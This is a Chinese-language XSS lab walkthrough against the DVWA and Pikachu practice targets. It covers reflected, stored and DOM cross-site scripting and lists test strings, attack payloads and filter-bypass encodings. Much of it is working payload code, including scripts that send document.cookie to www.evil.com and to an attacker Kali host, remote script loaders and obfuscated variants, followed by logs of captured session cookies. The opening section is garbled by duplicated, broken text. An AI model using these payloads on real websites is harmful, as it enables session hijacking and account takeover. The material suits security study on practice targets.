1.反射型XSS:
在反射型 xss 代码中,首先判断
G
E
T
[
′
m
s
s
a
g
e
′
]
是否等于
k
o
b
e
,如果不是,则在页面中将
_GET['mssage']是否等于 kobe,如果不是,则在页 面中将
GET[′mssage′]是否等于kobe,如果不是,则在页面中将_GET[‘mssage’]复制给$html 变量中,而且没有任何过滤再输出到页面中,所以
直接输入页面会直接输出 xss 信息,就会造成 xss攻击
<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert(1);</script>
2.存储型XSS:
存储型 xss 代码分析中,看到留言的 inster into 语句中,直接插入留言信息,
没有任何过滤,输入恶意代码,这个代码将记录在数据中。浏览器在访问该页面
时,恶意代码会从数据库字段里取出这条记录,没有经过任何处理就直接输出。
浏览器访问这个页面,会弹窗显示 xss 。
<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert(1);</script>
3.DOM型XSS:
点击按钮时,会调用 domxss()函数,跟踪 domxss 函数
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you
see?</a>";
}
获取 id text 文本的值,修改 id 为 dom 的 html 值
输入’ οnclick=“alert(‘dom xss 漏洞’)”> 闭合前面的单引号
javascript:alert(“dom xss 漏洞”)
4.XSS测试语句:
常用的测试语句
<h5>1</h5>
<span>1</span>
<script>console.log(1);</script>
闭合
“>x<”
‘>">x<’
单行注释
">x//
5.XSS攻击语句:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<script>alter('xss')</script>;
6.XSS常见利用:
构建xss恶意代码获取对方浏览器的cookie:
保存为js:
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
在 kali 里面打开 sudo python -m SimpleHTTPServer 80 小型 web 服务
登陆 dvwa 后台输入 xss 代码,插入之后,受害者访问该网页就会把它的 cookie
发送到 kali 的 web 服务上
自动匹配http或者https:
<script src=//192.168.200.130/xss.js></script>
<script src=http://192.168.200.130/xss.js></script>
<script src="http://192.168.200.130/xss.js"></script>
kali获取到了靶机的cookie:
192.168.200.128 - - [18/May/2023 16:51:44] “GET /xss.js HTTP/1.1” 200 -
192.168.200.128 - - [18/May/2023 16:51:44] “GET /?cookies=
security%3Dlow%3B%20PHPSESSID%3Dqcef87q8a0v0glib8u4is628v0 HTTP/1.1” 200 -
7.加载远程攻击的payload:
图片创建加载链接:
<img src=''οnerrοr=document.body.appendChild(document.createElement('script')).src='//192.168.200.130/xss.js'>
字符拼接:
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://192.'</script>
<script>z=z+'168.200.130'</script>
<script>z=z+'/xss.js'</script>
<script>z=z+'></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
有的情况要用/**/注释不需要的代码
jquery加载:
<script>$.getScript("//192.168.200.130/xss.js");</script>
8.利用 xss 平台盗取 cookie 登录
将如下代码植入怀疑出现xss的地方(注意’的转义),即可在 项目内容 观看XSS效果。
</textarea>'"><script src=http://www.myxss.com/bB6Ivm?1684405473></script>
获取:
toplocation : http://192.168.200.129/01/vulnerabilities/xss_s/
cookie : //192.168.200.129/01/vulnerabilities/xss_s/
登录//192.168.200.129/01/vulnerabilities/xss_s/网站,抓包;
将其中的cookie替换成:
//192.168.200.129/01/vulnerabilities/xss_s/
9.xss编码绕过:
gpc 过滤字符:
<script src='http://192.168.200.130/xss.js'></script>
------------>
<script src=http://192.168.200.130/xss.js></script>
过滤alert:
<script>alert('xss');</script>
-------->
<script>prompt(/xss/);</script>
<script>confirm(1);</script>
过滤标签:
htmlspecialchars()对输入的字符进行实体化 实体化之后的字符不会在 html 执
行。把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体,构造
xss 恶意代码大多数都必须使用<或者>,这两个字符被实体化后在 html 里就
不能执行了
1.php------------>
<?php
echo htmlspecialchars($GET('id'));
?>
但是有在 input 这些标签里是不用考虑标签实体化,因为用不上<>这两个标签。
2.php------------>
<input type="text" name="username" value="" onclick="javascript:alert('xss');"/>
ascii编码:
<script>alert(String.fromCharCode(88,83,83))</script>
url编码:
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
JS编码:
8进制:
<script>eval("\141\154\145\162\164\50\61\51");</script>
16进制:
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
HTML编码:
十进制
<img src="x" onerror="alert(1)" />
<button onclick="confirm('7');">Button</button>
十六进制
<img src="x" onerror="alert(1)"/>
base64编码:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
10.xss实战:
kali开启80端口:
sudo python -m SimpleHTTPServer 80
pikachu中DOM型xss输入:
javascript:eval(document.location=“http://192.168.200.130/?cookie=”+document.cookie);//
点击链接会获取到cookie:
---------------->
192.168.200.128 - - [19/May/2023 09:52:42] “GET /?cookie=PHPSESSID=agoce2mve8mh2j82qov8c6p4p1 HTTP/1.1” 200 -
192.168.200.128 - - [19/May/2023 09:52:42] code 404, message File not found
192.168.200.128 - - [19/May/2023 09:52:42] “GET /favicon.ico HTTP/1.1” 404 -
11.xss进阶实战:
DOM型xss-x:
document.getElementById(“dom”).innerHTML = “就让往事都随
风,都随风吧”;
拼接字符改变 dom 的 html
发现是 a 标签 所以可以使用 javascript:aler
xss之htmlspecialchars:
输入
<script>alert(1);</script>
<p class='notice'>你的输入已经被记录:
</p><a href='<script>alert(1);<script>'><script>alert(1);<script></a>
但是URL中的<>没有被过滤:
---------------->
http://192.168.200.129/06/vul/xss/xss_02.php?message=%3Cscript%3Ealert%281%29%3B%3Cscript%3E&submit=submit
构造语句:
192.168.200.129/06/vul/xss/xss_02.php?message=javascript:alert(1)&submit=submit
xss之过滤:
过滤 message 的 script 但是没有区分大小写。所以输入
<SCRIPT>alert(/xss/)</sCRIpt>
xss之js输出:
输入
<script>alert(1);</script>:
输入的参数没有被过滤。构造语句即可弹 xss 窗’;alert(‘xss’)// 单引号闭合前面 //注释后面字
xss之herf输出:
输入输入
<script>alert(1);</script>:
阁下自己输入的url还请自己点一下吧
但是URL中的<>没有被过滤,直接构造:
192.168.200.129/06/vul/xss/xss_03.php?message=javascript:alert(1)&submit=submit
xss盲打:
输入输入
<script>alert(1);</script>
123
登录:http://192.168.200.129/06/vul/xss//xssblind/admin_login.php
出现弹窗。